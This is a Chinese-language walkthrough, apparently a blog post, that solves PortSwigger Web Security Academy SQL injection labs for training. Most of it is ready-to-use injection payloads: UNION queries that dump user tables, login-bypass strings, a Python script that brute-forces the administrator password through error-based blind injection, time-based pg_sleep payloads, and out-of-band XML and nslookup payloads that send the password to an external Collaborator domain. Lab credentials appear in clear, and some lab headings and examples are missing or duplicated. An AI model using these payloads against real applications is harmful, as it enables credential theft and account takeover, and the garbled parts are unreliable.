PortSwigger 是一家专注于 Web 应用安全研究与工具开发的知名安全厂商,其核心产品 Burp Suite 被广泛应用于渗透测试、漏洞挖掘及安全研究等领域,是当前 Web 安全测试中最主流的工具之一。
除了工具产品外,PortSwigger 还推出了 Web Security Academy,该平台提供大量免费且高质量的在线实验环境(Labs),覆盖 SQL 注入、XSS、身份认证绕过、访问控制缺陷等主流 Web 漏洞类型。每个实验均配有详细的知识讲解与实战场景,能够帮助学习者在真实环境中理解漏洞原理并掌握利用方法。
对于备考 OSWE 等高级安全认证的学习者而言,PortSwigger Academy 不仅是入门 Web 安全的优质平台,同时也是提升漏洞挖掘与代码审计能力的重要训练场景,具有较强的实战价值与体系化学习意义。
1 2
# 注册账号后可免费学习 https://portswigger.net/web-security
实验一:基于 WHERE 子句的 SQL 注入可绕过过滤并获取隐藏数据
提示: 执行 SQL 注入攻击,使应用程序显示一个或多个未发布的产品。
构造 or 条件使 where 子句恒为真,从而绕过过滤并返回全部数据。
1 2
# 后端实际执行语句 SELECT * FROM products WHERE category = 'Gifts' AND released = 1
1 2
# SQL 注入后执行语句 SELECT * FROM products WHERE category = 'Gifts' or 1=1-- ' AND released = 1
实验二:绕过系统登录
提示: 使用 SQL 注入以 administrator 用户身份登录到应用程序。
使用 SQL 注入万能密码绕过登录限制,进入系统后台。
1
admin' or 1=1--+
实验三:查询 Oracle 数据库的类型和版本
提示: 产品类别筛选器存在 SQL 注入漏洞。可以使用 UNION 攻击来检索注入查询的结果。
Oracle 数据库中的 SQL 注入语法与 MySQL 存在差异,但整体原理一致,通常首先通过 order by 语句判断查询结果的列数。
1 2 3 4
# 页面 500 错误 Lifestyle' order by 3--+ # 页面 200 正常 Lifestyle' order by 3--+
根据页面状态码,可判断当前数据表共两列,继续通过 union 联合查询获取数据回显位。对于 MySQL 数据库,可直接通过 union select 注入,Oracle 数据库则需要借助系统虚拟表(dual),否则会发生语法错误。
1 2
# 注意修改 -Lifestyle,还需要注意数据类型,字符串需要添加引号 -Lifestyle' union select '1','2' from dual--+
找到数据回显位,查询数据库版本信息。
1
-Lifestyle' union select banner,'2' from v$version--+
实验四:查询 MySQL 数据库的类型和版本
提示: 此实验环境中的产品类别筛选器存在 SQL 注入漏洞。可以使用 UNION 攻击来检索注入查询的结果。
考察 MySQL 数据库 union 联合注入,和 Oracle 数据库流程类似,判断数据表列数 -> 判断数据回显位 -> 注入获取数据。
1 2 3 4 5 6 7 8
# 数据表依然是 2 列 Gifts' order by 2--+
# 获取数据回显位 -Gifts' union select 1,2--+
# 注入获取数据库版本信息 -Gifts' union select version(),2--+
实验五:查询 PostgreSQL 数据库的内容
提示: 产品类别筛选器存在 SQL 注入漏洞。查询结果会返回到应用程序的响应中,因此可以使用 UNION 攻击从其他表中检索数据。该应用程序具有登录功能,数据库中包含一个存储用户名和密码的表。需要确定该表的名称及其包含的列,然后检索该表的内容以获取所有用户的用户名和密码。
考察的 PostgreSQL 数据库 SQL 注入。
1 2 3 4 5
# 数据表列数为 2 Lifestyle' order by 2--+
# 获取数据库版本信息 -Lifestyle' union select version(),'123'--+
1 2 3 4 5
# 获取当前数据库 -Lifestyle' union select current_database(),'123'--+
# 列出所有数据库,并排除系统库 -Lifestyle' union select datname,'123' from pg_database where datistemplate = false--+
注意: 在 PostgreSQL 中,默认仅能访问当前数据库,无法像 MySQL 一样直接跨库查询。
1 2 3 4 5 6 7
# 查询当前数据库模式 -Lifestyle' union select schema_name,'123' from information_schema.schemata--+
# 查询 public 下的数据表 -Lifestyle' union select table_name,'123' from information_schema.tables where table_schema='public'--+
查询 users_yunvyq 表字段。
1 2
# 查询表字段内容 -Lifestyle' union select column_name,'123' from information_schema.columns where table_name='users_yunvyq' and table_schema='public'--+
读取表数据。
1 2
# 读取账号密码信息 -Lifestyle' union select username_jqmqtz,password_ssrmqp from users_yunvyq--+
通过 administrator 用户登录系统。
1 2
administrator d90scq4ozw87skirdvhb
实验六:查询 Oracle 数据库的内容
提示: 产品类别筛选器存在 SQL 注入漏洞。查询结果会返回到应用程序的响应中,因此可以使用 UNION 攻击从其他表中检索数据。该应用程序具有登录功能,数据库中包含一个存储用户名和密码的表。需要确定该表的名称及其包含的列,然后检索该表的内容以获取所有用户的用户名和密码。
考察 Oracle 数据库 SQL 注入。
1 2 3 4 5
# 数据表列数为 2 Gifts' order by 2--+
# 判断数据回显位 -Gifts' union select 'admin','test' from dual--+
1 2 3 4 5 6 7 8 9 10 11
# 获取数据库名称 -Gifts' union select global_name,'test' from global_name--+
# 获取用户信息 -Gifts' union select user,'test' from dual--+
# 获取所有表信息 -Gifts' union select table_name,'test' from all_tables--+
# 获取当前用户表信息 -Gifts' union select table_name,'test' from user_tables--+
查询 USERS_UKSBDC 表字段信息。
1 2
# 获取表字段 -Gifts' union select column_name,'test' from user_tab_columns where table_name='USERS_UKSBDC'--+
查询登录用户名和密码。
1 2
# 获取表数据 -Gifts' union select USERNAME_MRBHKN,PASSWORD_DNCUEJ from USERS_UKSBDC--+
使用 administrator 密码登录系统。
1 2
administrator 9qr2orgi7eic4u3hhegy
实验七:UNION 联合注入,确定查询返回的列数
提示: 产品类别筛选器中存在 SQL 注入漏洞。查询结果会返回到应用程序的响应中,因此可以使用 UNION 攻击从其他表中检索数据。此类攻击的第一步是确定查询返回的列数。之后将在后续实验中使用此技术来构建完整的攻击。通过执行 SQL 注入 UNION 攻击来确定查询返回的列数,该攻击会返回一个包含空值的额外行。
只需要将 union 查询的 payload 替换为 NULL。
1 2 3 4 5 6 7 8
# order by 判断列数为 3 Accessories' order by 3--+
# 判断数据库类型为 PostgreSQL -Accessories' union select '1',version(),'3'--+
# 将联合注入的 payload 替换为 NULL -Accessories' union select NULL,NULL,NULL--+
实验八:UNION 联合查询,查找包含文本的列(PostgreSQL)
提示: 产品类别筛选器中存在 SQL 注入漏洞。查询结果会返回到应用程序的响应中,因此可以使用 UNION 攻击从其他表中检索数据。要构建此类攻击,首先需要确定查询返回的列数。下一步是找到一个与字符串数据兼容的列。实验会提供一个随机值,你需要让它出现在查询结果中。要完成实验,请执行 SQL 注入 UNION 攻击,使其返回包含所提供值的额外行。此技术有助于你确定哪些列与字符串数据兼容。
注入的语句返回结果必须满足数据类型,显示位属于字符串类型,语句的返回结果也必须是字符串。
1 2 3 4 5
# union select NULL, 判断列数为 3 -Gifts' union select NULL,NULL,NULL--+
# 查询数据库版本为 PostgreSQL -Gifts' union select NULL,version(),NULL--+
注意: 将 version() 填充到 union select 第一个字段服务器会提示 500 错误,说明数据类型不匹配,所以只能将题目给的字符串填充到 union select 的第二位。
1 2
# 在第二位填充题目给的字符串 -Gifts' union select NULL,'7rABRw',NULL--+
实验九:检索 PostgreSQL 数据库表内容
提示: 产品类别筛选器中存在 SQL 注入漏洞。查询结果会返回到应用程序的响应中,因此可以使用 UNION 攻击从其他表中检索数据。要构建此类攻击,需要结合之前实验中学到的一些技术。数据库包含一个名为 users 的表,其中包含名为 username 和 password 列。请执行 SQL 注入 UNION 攻击,检索所有用户名和密码,并使用这些信息以用户身份登录 administrator。
考察如何检索当前数据库类型,针对不同数据库发起不同注入语句。
1 2 3 4 5
# 当前数据表为 2 列 category=Accessories' order by 2--+
# 数据库为 PostgreSQL -Accessories' union select version(),'2'--+
查询数据库表信息。
1 2 3 4 5 6 7 8
# 获取当前数据库信息 -Accessories' union select current_database(),'2'--+
# 获取数据库模式 -Accessories' union select schema_name,'2' from information_schema.schemata--+
# 查询 public 模式下对应的数据表 -Accessories' union select table_name,'2' from information_schema.tables where table_schema='public'--+
获取 users 表字段和内容。
1 2 3 4 5
# 获取字段信息,username、password -Accessories' union select column_name,'2' from information_schema.columns where table_name='users' and table_schema='public'--+
# 获取字段内容 -Accessories' union select username,password from users--+
通过 administrator 用户登录系统。
1 2
administrator tludjc9h4vt9mv8hm3sh
实验十:PostgreSQL UNION 联合注入,从单个列中检索多个值
提示: 产品类别筛选器存在 SQL 注入漏洞。查询结果会返回到应用程序的响应中,因此可以使用 UNION 攻击从其他表中检索数据。数据库包含一个名为 users 的表,其中包含名为 username 和 password 列。请执行 SQL 注入 UNION 攻击,检索所有用户名和密码,并使用这些信息以用户身份登录 administrator。
# 首先判断当前表只有一列 TrackingId=FR8yu1X09CaHEAhV' order by 1--+
# 只有执行 Oracle SQL 语句页面回显正常 TrackingId=FR8yu1X09CaHEAhV' union select '' from dual--+
根据实验提示,我们需要找到 users 表中 administrator 用户密码。
1 2 3 4 5 6 7
# 页面报错 TrackingId=FR8yu1X09CaHEAhV' union select '' from users123--+
# 页面正常 TrackingId=FR8yu1X09CaHEAhV' union select '' from users--+
# 说明 users 表存在
使用 case when 语句,如果查询结果正确则返回 1/0,查询结果不正确返回空,当返回 1/0 会强制 SQL 语句报错,页面显示 500,可通过该方法循环获取数据库字段内容。
1 2 3 4 5 6 7
# CASE 语法 # 满足条件后返回结果,都不满足返回 else 结果 CASE WHEN 条件 THEN 结果1 WHEN 条件 THEN 结果2 ELSE 结果3 END
1 2 3 4 5 6 7
# 当 when 条件为 True 返回 0/1,否则返回 ''
# 1=1 条件成立返回 to_char(1/0),SQL 执行失败,页面返回 500 TrackingId=FR8yu1X09CaHEAhV'||(select case when (1=1) then to_char(1/0) else '' end from dual)||'
# 1=2 条件不成立返回else '',执行 select '' from dual 语句,执行成功页面返回 200 TrackingId=FR8yu1X09CaHEAhV'||(select case when (1=1) then to_char(1/0) else '' end from dual)||'
判断 users 表 administrator 用户密码长度。
1 2 3 4 5
# 通过修改 length(password) 的值来判断数据长度 TrackingId=FR8yu1X09CaHEAhV'||(select case when length(password)>0 then to_char(1/0) else '' end from users where username='administrator')||'
# 当长度等于 20 时,页面回显 500,说明密码共有 20 位 TrackingId=FR8yu1X09CaHEAhV'||(select case when length(password)=20 then to_char(1/0) else '' end from users where username='administrator')||'
通过 substr 取出每个字符串对比 ASCII 码。
1 2
# 通过 ascii 和 substr 逐个字符判断 TrackingId=FR8yu1X09CaHEAhV'||(select case when ascii(substr(password,1,1))>0 then to_char(1/0) else '' end from users where username='administrator')||'
for nums inrange(1, 21): header = { "Cookie": f"TrackingId=FR8yu1X09CaHEAhV'||(select case when ascii(substr(password,{nums},1))>65 then to_char(1/0) else '' end from users where username='administrator')||';", "Connection": "close" } whileTrue: try: req = requests.get(url, headers=header, verify=False) break except: pass if req.status_code == 500: start = 66 end = 128 else: start = 0 end = 65
for asciis inrange(start, end): header = { "Cookie": f"TrackingId=FR8yu1X09CaHEAhV'||(select case when ascii(substr(password,{nums},1))={asciis} then to_char(1/0) else '' end from users where username='administrator')||';", "Connection": "close" } whileTrue: try: req = requests.get(url, headers=header, verify=False) break except: pass if req.status_code == 500: print(chr(asciis), end="", flush=True) break
除了使用 || 拼接,使用 union select 语句也是可以的。
1 2 3 4 5
# ascii(substr(password,1,1))=0 不成立,查询语句成功,返回 200 TrackingId=FR8yu1X09CaHEAhV' union select case when ascii(substr(password,1,1))=0 then to_char(1/0) else '' end from users where username='administrator'--+
# ascii(substr(password,1,1))>0 成立,返回 1/0 查询语句失败,返回 500 TrackingId=FR8yu1X09CaHEAhV' union select case when ascii(substr(password,1,1))>0 then to_char(1/0) else '' end from users where username='administrator'--+
# 通过 case when 建立条件判断 # 一旦 when 条件成立立即延迟 10 秒,否则直接响应 select case when (语句) then pg_sleep(10) else pg_sleep(0) end
# 通过 substr 和 ascii 判断每个字符串值 select password from users where username='administrator' substr((select password from users where username='administrator'),1,1) ascii(substr((select password from users where username='administrator'),1,1))>0
# 最终 payload TrackingId=FqEJVxQHRQzHQQEY'%3b select case when (ascii(substr((select password from users where username='administrator'),1,1))>0) then pg_sleep(10) else pg_sleep(0) end--+
判断 password 字段长度为 20。
1 2 3
# 使用 length 判断 password 长度为 20 # 注意括号 TrackingId=FqEJVxQHRQzHQQEY'%3b select case when (length((select password from users where username='administrator'))=20) then pg_sleep(10) else pg_sleep(0) end--+
# 使用 Oracle 数据库 payload SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual--+
# 实际上当前数据表仍为 1 列,使用 union 查询注入 TrackingId=x' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT '123' from dual)||'.1modd9hkghq6jr4zmq859kdjrax1l49t.oastify.com/"> %remote;]>'),'/l') FROM dual--+
注意: 一定对 SQL 语句进行 URL 编码,其次查询的语句如果包含空格等特殊符号也会导致 DNS 解释失败。
利用试验 十六 DNS 带外查询语句,查询 users 表中 administrator 用户密码。
1 2 3 4 5
# 构建查询语句 SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(select password from users where username='administrator')||'.ovn0mwq7p4ztsedmvdhsi7m60x6outii.oastify.com/"> %remote;]>'),'/l') FROM dual--+
# 使用 union 注入 TrackingId=x' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(select password from users where username='administrator')||'.ovn0mwq7p4ztsedmvdhsi7m60x6outii.oastify.com/"> %remote;]>'),'/l') FROM dual--+
# PostgreSQL create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f();
# MySQL # 以下方法仅适用于 Windows 系统: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'